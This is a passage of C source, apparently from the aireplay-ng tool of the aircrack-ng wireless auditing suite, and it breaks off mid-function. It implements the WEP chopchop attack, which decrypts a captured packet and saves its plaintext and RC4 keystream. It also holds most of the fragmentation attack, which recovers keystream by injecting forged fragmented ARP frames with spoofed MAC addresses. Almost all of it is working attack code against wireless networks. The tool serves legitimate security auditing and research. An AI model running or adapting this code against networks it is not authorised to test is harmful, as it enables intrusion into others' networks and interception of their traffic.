gettimeofday(&tv2, NULL);
f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
}
/* update the status line */
if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
{
ticks[1] = 0;
printf("\rSent %lu packets...(%d pps)",
nb_pkt_sent,
(int) ((double) nb_pkt_sent
/ ((double) ticks[0] / (double) RTC_RESOLUTION)));
fflush(stdout);
erase_line(0);
printf("\r");
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
/* threshold reached */
ticks[2] = 0;
if (nb_pkt_sent == 0) ticks[0] = 0;
if (isarp)
{
if (send_packet(_wi_out,
frag1,
(size_t) z + 4 + 10 + 4,
kRewriteSequenceNumber)
< 0)
return (1);
nb_pkt_sent--;
}
else
{
if (send_packet(_wi_out,
frag1,
(size_t) z + 4 + 4 + 4,
kRewriteSequenceNumber)
< 0)
return (1);
if (send_packet(_wi_out,
frag2,
(size_t) z + 4 + 4 + 4,
kRewriteSequenceNumber)
< 0)
return (1);
if (send_packet(_wi_out,
frag3,
(size_t) z + 4 + 4 + 4,
kRewriteSequenceNumber)
< 0)
return (1);
nb_pkt_sent -= 3;
}
if (send_packet(
_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
< 0)
return (1);
}
return (0);
}
static int do_attack_chopchop(void)
{
float f, ticks[4];
int i, j, n, z, caplen, srcz;
int data_start, data_end, srcdiff, diff;
int guess, is_deauth_mode;
int nb_bad_pkt;
int tried_header_rec = 0;
unsigned char b1 = 0xAA;
unsigned char b2 = 0xAA;
FILE * f_cap_out;
//long nb_pkt_read;
unsigned long crc_mask;
unsigned char * chopped;
unsigned char packet[4096];
time_t tt;
struct tm * lt;
struct timeval tv;
struct timeval tv2;
struct pcap_file_header pfh_out;
struct pcap_pkthdr pkh;
if (getnet(_wi_in,
NULL,
1,
0,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
rand_init();
if (capture_ask_packet(&caplen, 0) != 0) return (1);
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
srcz = z;
if ((unsigned) caplen > sizeof(srcbuf)
|| (unsigned) caplen > sizeof(h80211))
return (1);
if (opt.r_smac_set == 1)
{
// handle picky APs (send one valid packet before all the invalid ones)
memset(packet, 0, sizeof(packet));
memcpy(packet, NULL_DATA, 24);
memcpy(packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
memcpy(packet + 10, opt.r_smac, 6);
memcpy(packet + 16, opt.f_bssid, 6);
packet[0] = 0x08; // make it a data packet
packet[1] = 0x41; // set encryption and ToDS=1
memcpy(packet + 24, h80211 + z, (size_t) caplen - z);
if (send_packet(_wi_out,
packet,
(size_t) caplen - z + 24,
kRewriteSequenceNumber)
!= 0)
return (1);
// done sending a correct packet
}
/* Special handling for spanning-tree packets */
if (memcmp(h80211 + 4, SPANTREE, 6) == 0
|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
{
b1 = 0x42;
b2 = 0x42;
}
printf("\n");
/* chopchop operation mode: truncate and decrypt the packet */
/* we assume the plaintext starts with AA AA 03 00 00 00 */
/* (42 42 03 00 00 00 for spanning-tree packets) */
memcpy(srcbuf, h80211, caplen);
/* setup the chopping buffer */
n = caplen - z + 24;
if ((chopped = (unsigned char *) malloc(n)) == NULL)
{
perror("malloc failed");
return (1);
}
memset(chopped, 0, n);
data_start = 24 + 4;
data_end = n;
srcdiff = z - 24;
chopped[0] = 0x08; /* normal data frame */
chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */
/* copy the duration */
memcpy(chopped + 2, h80211 + 2, 2);
/* copy the BSSID */
switch (h80211[1] & 3)
{
case 0:
memcpy(chopped + 4, h80211 + 16, 6);
break;
case 1:
memcpy(chopped + 4, h80211 + 4, 6);
break;
case 2:
memcpy(chopped + 4, h80211 + 10, 6);
break;
default:
memcpy(chopped + 4, h80211 + 10, 6);
break;
}
/* copy the WEP IV */
memcpy(chopped + 24, h80211 + z, 4);
/* setup the xor mask to hide the original data */
crc_mask = 0;
for (i = data_start; i < data_end - 4; i++)
{
switch (i - data_start)
{
case 0:
chopped[i] = b1 ^ 0xE0;
break;
case 1:
chopped[i] = b2 ^ 0xE0;
break;
case 2:
chopped[i] = 0x03 ^ 0x03;
break;
default:
chopped[i] = 0x55 ^ (i & 0xFF);
break;
}
crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL)
^ ((unsigned long) chopped[i] << 24UL);
}
for (i = 0; i < 4; i++)
crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
chopped[data_end - 4] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 3] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 2] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 1] = crc_mask;
crc_mask >>= 8;
for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i + srcdiff];
data_start += 6; /* skip the SNAP header */
/* if the replay source mac is unspecified, forge one */
if (opt.r_smac_set == 0)
{
is_deauth_mode = 1;
opt.r_smac[0] = 0x00;
opt.r_smac[1] = rand_u8() & 0x3E;
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
memcpy(opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
}
else
{
is_deauth_mode = 0;
opt.r_dmac[0] = 0xFF;
opt.r_dmac[1] = rand_u8() & 0xFE;
opt.r_dmac[2] = rand_u8();
opt.r_dmac[3] = rand_u8();
opt.r_dmac[4] = rand_u8();
}
/* let's go chopping */
memset(ticks, 0, sizeof(ticks));
//nb_pkt_read = 0;
nb_pkt_sent = 0;
nb_bad_pkt = 0;
guess = 256;
tt = time(NULL);
alarm(30);
signal(SIGALRM, sighandler);
if (opt.port_in <= 0)
{
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
free(chopped);
return (1);
}
}
while (data_end > data_start)
{
if (alarmed)
{
printf("\n\n"
"The chopchop attack appears to have failed. Possible "
"reasons:\n"
"\n"
" * You're trying to inject with an unsupported chipset "
"(Centrino?).\n"
" * The driver source wasn't properly patched for "
"injection support.\n"
" * You are too far from the AP. Get closer or reduce "
"the send rate.\n"
" * Target is 802.11g only but you are using a Prism2 or "
"RTL8180.\n"
" * The wireless interface isn't setup on the correct "
"channel.\n");
if (is_deauth_mode)
printf(" * The AP isn't vulnerable when operating in "
"non-authenticated mode.\n"
" Run aireplay-ng in authenticated mode instead "
"(-h option).\n\n");
else
printf(" * The client MAC you have specified is not "
"currently authenticated.\n"
" Try running another aireplay-ng to fake "
"authentication (attack \"-1\").\n"
" * The AP isn't vulnerable when operating in "
"authenticated mode.\n"
" Try aireplay-ng in non-authenticated mode "
"instead (no -h option).\n\n");
free(chopped);
return (1);
}
/* wait for the next timer interrupt, or sleep */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++; /* ticks since we entered the while loop */
ticks[1]++; /* ticks since the last status line update */
ticks[2]++; /* ticks since the last frame was sent */
ticks[3]++; /* ticks since started chopping current byte */
}
else
{
/* we can't trust usleep, since it depends on the HZ */
gettimeofday(&tv, NULL);
usleep(976);
gettimeofday(&tv2, NULL);
f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / 976;
ticks[1] += f / 976;
ticks[2] += f / 976;
ticks[3] += f / 976;
}
/* update the status line */
if (ticks[1] > (RTC_RESOLUTION / 10.f))
{
ticks[1] = 0;
printf("\rSent %3lu packets, current guess: %02X...",
nb_pkt_sent,
guess);
fflush(stdout);
erase_line(0);
}
if (data_end < 41
&& ticks[3] > 8 * (ticks[0] - ticks[3])
/ (int) (caplen - (data_end - 1)))
{
header_rec:
printf("\n\nThe AP appears to drop packets shorter "
"than %d bytes.\n",
data_end);
data_end = 40;
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
diff = z - 24;
if ((chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0]) == 0x06
&& (chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1])
== 0x04
&& (chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2])
== 0x00)
{
printf("Enabling standard workaround: "
"ARP header re-creation.\n");
chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; //-V525
chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
}
else
{
printf("Enabling standard workaround: "
" IP header re-creation.\n");
n = caplen - (z + 16);
chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA;
chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA;
chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
chopped[24 + 14] = srcbuf[srcz + 14] ^ (n >> 8);
chopped[24 + 15] = srcbuf[srcz + 15] ^ (n & 0xFF);
memcpy(h80211, srcbuf, caplen);
for (i = z + 4; i < (int) caplen; i++)
h80211[i - 4] = h80211[i] ^ chopped[i - diff];
/* sometimes the header length or the tos field vary */
for (i = 0; i < 16; i++)
{
h80211[z + 8] = 0x40 + i;
chopped[24 + 12] = srcbuf[srcz + 12] ^ (0x40 + i);
for (j = 0; j < 256; j++)
{
h80211[z + 9] = j;
chopped[24 + 13] = srcbuf[srcz + 13] ^ j;
if (check_crc_buf(h80211 + z, caplen - z - 8))
goto have_crc_match;
}
}
printf("This doesn't look like an IP packet, "
"try another one.\n");
}
have_crc_match:
break;
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
{
/* send one modified frame */
ticks[2] = 0;
memcpy(h80211, chopped, data_end - 1);
/* note: guess 256 is special, it tests if the *
* AP properly drops frames with an invalid ICV *
* so this guess always has its bit 8 set to 0 */
if (is_deauth_mode)
{
opt.r_smac[1] |= (guess < 256);
opt.r_smac[5] = guess & 0xFF;
}
else
{
opt.r_dmac[1] |= (guess < 256);
opt.r_dmac[5] = guess & 0xFF;
}
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, opt.r_dmac, 6);
if (guess < 256)
{
h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
}
errno = 0;
if (send_packet(_wi_out,
h80211,
(size_t) data_end - 1,
kRewriteSequenceNumber)
!= 0)
{
free(chopped);
return (1);
}
if (errno != EAGAIN)
{
guess++;
if (guess > 256) guess = 0;
}
}
/* watch for a response from the AP */
do
{
n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
} while (n == -1 && errno == EAGAIN);
if (n < 0)
{
free(chopped);
return (1);
}
if (n == 0) continue;
//nb_pkt_read++;
/* check if it's a deauth packet */
if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
{
if (memcmp(h80211 + 4, opt.r_smac, 6) == 0 && !is_deauth_mode)
{
nb_bad_pkt++;
if (nb_bad_pkt > 256)
{
printf("\rgot several deauthentication packets - pausing 3 "
"seconds for reconnection\n");
sleep(3);
nb_bad_pkt = 0;
}
continue;
}
if (h80211[4] != opt.r_smac[0]) continue;
if (h80211[6] != opt.r_smac[2]) continue;
if (h80211[7] != opt.r_smac[3]) continue;
if (h80211[8] != opt.r_smac[4]) continue;
if ((h80211[5] & 0xFE) != (opt.r_smac[1] & 0xFE)) continue;
if (!(h80211[5] & 1))
{
if (data_end < 41) goto header_rec;
printf("\n\nFailure: the access point does not properly "
"discard frames with an\ninvalid ICV - try running "
"aireplay-ng in authenticated mode (-h) instead.\n\n");
free(chopped);
return (1);
}
}
else
{
if (is_deauth_mode) continue;
/* check if it's a WEP data packet */
if ((h80211[0] & 0x0C) != 8) continue;
if ((h80211[0] & 0x70) != 0) continue;
if ((h80211[1] & 0x03) != 2) continue;
if ((h80211[1] & 0x40) == 0) continue;
/* check the extended IV (TKIP) flag */
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
if ((h80211[z + 3] & 0x20) != 0) continue;
/* check the destination address */
if (h80211[4] != opt.r_dmac[0]) continue;
if (h80211[6] != opt.r_dmac[2]) continue;
if (h80211[7] != opt.r_dmac[3]) continue;
if (h80211[8] != opt.r_dmac[4]) continue;
if ((h80211[5] & 0xFE) != (opt.r_dmac[1] & 0xFE)) continue;
if (!(h80211[5] & 1))
{
if (data_end < 41) goto header_rec;
printf("\n\nFailure: the access point does not properly "
"discard frames with an\ninvalid ICV - try running "
"aireplay-ng in non-authenticated mode instead.\n\n");
free(chopped);
return (1);
}
}
/* we have a winner */
guess = h80211[9];
chopped[data_end - 1] ^= guess;
chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
n = caplen - data_start;
printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
"%4lu frames written in %5.0fms\n",
data_end - 1,
100 * (caplen - data_end) / n,
chopped[data_end - 1],
chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
nb_pkt_sent,
ticks[3]);
if (is_deauth_mode)
{
opt.r_smac[1] = rand_u8() & 0x3E;
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
}
else
{
opt.r_dmac[1] = rand_u8() & 0xFE;
opt.r_dmac[2] = rand_u8();
opt.r_dmac[3] = rand_u8();
opt.r_dmac[4] = rand_u8();
}
ticks[3] = 0;
nb_pkt_sent = 0;
nb_bad_pkt = 0;
guess = 256;
data_end--;
alarm(0);
}
/* reveal the plaintext (chopped contains the prga) */
memcpy(h80211, srcbuf, caplen);
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
diff = z - 24;
chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
for (i = z + 4; i < (int) caplen; i++)
h80211[i - 4] = h80211[i] ^ chopped[i - diff];
if (!check_crc_buf(h80211 + z, caplen - z - 8))
{
if (!tried_header_rec)
{
printf("\nWarning: ICV checksum verification FAILED! Trying "
"workaround.\n");
tried_header_rec = 1;
goto header_rec;
}
else
{
printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
"likely invalid/useless\nTry another one.\n");
}
}
caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
h80211[1] &= 0xBF; /* remove the WEP bit, too */
/* save the decrypted packet */
gettimeofday(&tv, NULL);
pfh_out.magic = TCPDUMP_MAGIC;
pfh_out.version_major = PCAP_VERSION_MAJOR;
pfh_out.version_minor = PCAP_VERSION_MINOR;
pfh_out.thiszone = 0;
pfh_out.sigfigs = 0;
pfh_out.snaplen = 65535;
pfh_out.linktype = LINKTYPE_IEEE802_11;
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.caplen = caplen;
pkh.len = caplen;
lt = localtime((const time_t *) &tv.tv_sec);
REQUIRE(lt != NULL);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_dec-%02d%02d-%02d%02d%02d.cap",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("\nSaving plaintext in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
free(chopped);
return (1);
}
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
{
perror("fwrite failed\n");
free(chopped);
fclose(f_cap_out);
return (1);
}
n = sizeof(pkh);
if (fwrite(&pkh, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(chopped);
fclose(f_cap_out);
return (1);
}
n = pkh.caplen;
if (fwrite(h80211, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(chopped);
fclose(f_cap_out);
return (1);
}
fclose(f_cap_out);
/* save the RC4 stream (xor mask) */
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_dec-%02d%02d-%02d%02d%02d.xor",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("Saving keystream in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
free(chopped);
return (1);
}
n = pkh.caplen + 8 - 24;
if (fwrite(chopped + 24, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(chopped);
fclose(f_cap_out);
return (1);
}
free(chopped);
fclose(f_cap_out);
float const delta_tt = (float) (time(NULL) - tt);
printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
(long) delta_tt,
(fabsf(delta_tt) >= __FLT_EPSILON__
? (float) ((pkh.caplen - 6 - 24) / delta_tt)
: 0.f));
return (0);
}
static int make_arp_request(unsigned char * h80211,
unsigned char * bssid,
unsigned char * src_mac,
unsigned char * dst_mac,
unsigned char * src_ip,
unsigned char * dst_ip,
int size)
{
unsigned char * arp_header
= (unsigned char *) "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00"
"\x06"
"\x04\x00\x01";
unsigned char * header80211 = (unsigned char *) "\x08\x41\x95\x00";
// 802.11 part
memcpy(h80211, header80211, 4);
memcpy(h80211 + 4, bssid, 6);
memcpy(h80211 + 10, src_mac, 6);
memcpy(h80211 + 16, dst_mac, 6);
h80211[22] = '\x00';
h80211[23] = '\x00';
// ARP part
memcpy(h80211 + 24, arp_header, 16);
memcpy(h80211 + 40, src_mac, 6);
memcpy(h80211 + 46, src_ip, 4);
memset(h80211 + 50, '\x00', 6);
memcpy(h80211 + 56, dst_ip, 4);
// Insert padding bytes
memset(h80211 + 60, '\x00', size - 60);
return 0;
}
static void save_prga(char * filename,
unsigned char * iv,
unsigned char * prga,
int prgalen)
{
FILE * xorfile;
xorfile = fopen(filename, "wb");
if (xorfile)
{
if (fwrite(iv, 1, 4, xorfile) > 0)
{
(void) fwrite(prga, 1, prgalen, xorfile);
}
fclose(xorfile);
}
}
static int do_attack_fragment(void)
{
unsigned char packet[4096];
unsigned char packet2[4096];
unsigned char prga[4096];
unsigned char iv[4];
// unsigned char ack[14] = "\xd4";
char strbuf[256];
struct tm * lt;
struct timeval tv, tv2;
int done;
int caplen;
int caplen2;
int arplen;
int round;
int prga_len;
int isrelay;
int again;
int length;
int ret;
int gotit;
int acksgot;
int packets;
int z;
unsigned char * snap_header
= (unsigned char *) "\xAA\xAA\x03\x00\x00\x00\x08\x00";
done = caplen = caplen2 = arplen = round = 0;
prga_len = isrelay = gotit = again = length = 0;
if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
{
printf("Please specify a source MAC (-h).\n");
return (1);
}
if (getnet(_wi_in,
NULL,
1,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
{
memset(opt.r_dmac, '\xFF', 6);
opt.r_dmac[5] = 0xED;
}
if (memcmp(opt.r_sip, NULL_MAC, 4) == 0)
{
memset(opt.r_sip, '\xFF', 4);
}
if (memcmp(opt.r_dip, NULL_MAC, 4) == 0)
{
memset(opt.r_dip, '\xFF', 4);
}
PCT;
printf("Waiting for a data packet...\n");
while (!done) //
{
round = 0;
if (capture_ask_packet(&caplen, 0) != 0) return -1;
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
if ((unsigned) caplen > sizeof(packet)
|| (unsigned) caplen > sizeof(packet2))
continue;
memcpy(packet2, h80211, caplen);
caplen2 = caplen;
PCT;
printf("Data packet found!\n");
if (memcmp(packet2 + 4, SPANTREE, 6) == 0
|| memcmp(packet2 + 16, SPANTREE, 6) == 0)
{
packet2[z + 4]
= ((packet2[z + 4] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
packet2[z + 5]
= ((packet2[z + 5] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
packet2[z + 10]
= ((packet2[z + 10] ^ 0x00) ^ 0x08); // 0x00 instead of 0x08
}
prga_len = 7;
again = RETRY;
memcpy(packet, packet2, caplen2);
caplen = caplen2; //-V1048
memcpy(prga, packet + z + 4, prga_len); //-V512
memcpy(iv, packet + z, 4);
xor_keystream(prga, snap_header, prga_len);
while (again == RETRY) // sending 7byte fragments
{
again = 0;
arplen = 60;
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
arplen);
if ((round % 2) == 1)
{
PCT;
printf("Trying a LLC NULL packet\n");
memset(h80211 + 24, '\x00', 39);
arplen = 63;
}
acksgot = 0;
packets = (arplen - 24) / (prga_len - 4);
if ((arplen - 24) % (prga_len - 4) != 0) packets++;
PCT;
printf("Sending fragmented packet\n");
send_fragments(h80211, arplen, iv, prga, prga_len - 4, 0);
// //Plus an ACK
// send_packet(ack, 10);
gettimeofday(&tv, NULL);
while (!gotit) // waiting for relayed packet
{
caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
z = ((packet[1] & 3) != 3) ? 24 : 30;
if ((packet[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (packet[0] == 0xD4)
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
{
acksgot++;
printf(
"Got ACK (%d) (packets %d).\n", acksgot, packets);
}
continue;
}
if ((packet[0] & 0x08)
&& ((packet[1] & 0x40)
== 0x40)) // Is data frame && encrypted
{
if ((packet[1] & 2)) // Is a FromDS packet
{
if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
{
if (!memcmp(
opt.r_smac, packet + 16, 6)) // From our MAC
{
if (caplen - z < 66) // Is short enough
{
// This is our relayed packet!
PCT;
printf("Got RELAYED packet!!\n");
gotit = 1;
isrelay = 1;
}
}
}
}
}
/* check if we got an deauthentication packet */
if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a deauthentication packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
/* check if we got an disassociation packet */
if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a disassociation packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (100 * 1000)
&& acksgot > 0 && acksgot < packets) // wait 100ms for acks
{
PCT;
printf("Not enough acks, repeating...\n");
again = RETRY;
break;
}
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (1500 * 1000)
&& !gotit) // wait 1500ms for an answer
{
PCT;
printf("No answer, repeating...\n");
round++;
again = RETRY;
if (round > 10)
{
PCT;
printf("Still nothing, trying another packet...\n");
again = NEW_IV;
}
break;
}
}
}
if (again == NEW_IV) continue;
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
60);
if (caplen - z == 68 - 24)
{
// That's the ARP packet!
// PCT; printf("That's our ARP packet!\n");
}
if (caplen - z == 71 - 24)
{
// That's the LLC NULL packet!
// PCT; printf("That's our LLC Null packet!\n");
memset(h80211 + 24, '\x00', 39);
}
if (!isrelay)
{
// Building expected cleartext
unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01"
"\x08\x00\x06\x04\x00\x02";
// Ethernet & ARP header
// Followed by the senders MAC and IP:
memcpy(ct + 16, packet + 16, 6);
memcpy(ct + 22, opt.r_dip, 4);
// And our own MAC and IP:
memcpy(ct + 26, opt.r_smac, 6);
memcpy(ct + 32, opt.r_sip, 4);
// Calculating
memcpy(prga, packet + z + 4, 36); //-V512
xor_keystream(prga, ct, 36);
}
else
{
memcpy(prga, packet + z + 4, 36); //-V512
xor_keystream(prga, h80211 + 24, 36);
}
memcpy(iv, packet + z, 4);
round = 0;
again = RETRY;
while (again == RETRY)
{
again = 0;
PCT;
printf("Trying to get 384 bytes of a keystream\n");
arplen = 408;
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
arplen);
if ((round % 2) == 1)
{
PCT;
printf("Trying a LLC NULL packet\n");
memset(h80211 + 24, '\x00', arplen + 8);
arplen += 32;
}
acksgot = 0;
packets = (arplen - 24) / (32);
if ((arplen - 24) % (32) != 0) packets++;
send_fragments(h80211, arplen, iv, prga, 32, 0);
// //Plus an ACK
// send_packet(ack, 10);
gettimeofday(&tv, NULL);
gotit = 0;
while (!gotit) // waiting for relayed packet
{
caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
if (caplen < 0 && errno == EINTR)
continue;
else if (caplen < 0)
break;
z = ((packet[1] & 3) != 3) ? 24 : 30;
if ((packet[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (packet[0] == 0xD4)
{
if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
acksgot++;
continue;
}
if ((packet[0] & 0x08)
&& ((packet[1] & 0x40)
== 0x40)) // Is data frame && encrypted
{
if ((packet[1] & 2)) // Is a FromDS packet with valid IV
{
if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
{
if (!memcmp(
opt.r_smac, packet + 16, 6)) // From our MAC
{
if (caplen - z > 400 - 24
&& caplen - z < 500 - 24) // Is short enough
{
// This is our relayed packet!
PCT;
printf("Got RELAYED packet!!\n");
gotit = 1;
isrelay = 1;
}
}
}
}
}
/* check if we got an deauthentication packet */
if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a deauthentication packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
/* check if we got an disassociation packet */
if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
{
PCT;
printf("Got a disassociation packet!\n");
read_sleep(
dev.fd_in,
5 * 1000000,
my_read_sleep_cb); // sleep 5 seconds and ignore all
// frames in this period
}
gettimeofday(&tv2, NULL);
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (100 * 1000)
&& acksgot > 0 && acksgot < packets) // wait 100ms for acks
{
PCT;
printf("Not enough acks, repeating...\n");
again = RETRY;
break;
}
if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+ (tv2.tv_usec - tv.tv_usec))
> (1500 * 1000)
&& !gotit) // wait 1500ms for an answer
{
PCT;
printf("No answer, repeating...\n");
round++;
again = RETRY;
if (round > 10)
{
PCT;
printf("Still nothing, trying another packet...\n");
again = NEW_IV;
}
break;
}
}
}
if (again == NEW_IV) continue;
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
408);
if (caplen - z == 416 - 24)
{
// That's the ARP packet!
// PCT; printf("That's our ARP packet!\n");
}
if (caplen - z == 448 - 24)
{
// That's the LLC NULL packet!
// PCT; printf("That's our LLC Null packet!\n");
memset(h80211 + 24, '\x00', 416);
}
memcpy(iv, packet + z, 4);
memcpy(prga, packet + z + 4, 384); //-V512
xor_keystream(prga, h80211 + 24, 384);
round = 0;
again = RETRY;
while (again == RETRY)
{
again = 0;
PCT;
printf("Trying to get 1500 bytes of a keystream\n");
make_arp_request(h80211,
opt.f_bssid,
opt.r_smac,
opt.r_dmac,
opt.r_sip,
opt.r_dip,
1500);
arplen = 1500;
if ((round % 2) == 1)
{
PCT;
printf("Trying a LLC NULL packet\n");
memset(h80211 + 24, '\x00', 1508);
arplen += 32;
}
acksgot = 0;
packets = (arplen - 24) / (300);
if ((arplen - 24) % (300) != 0) packets++;
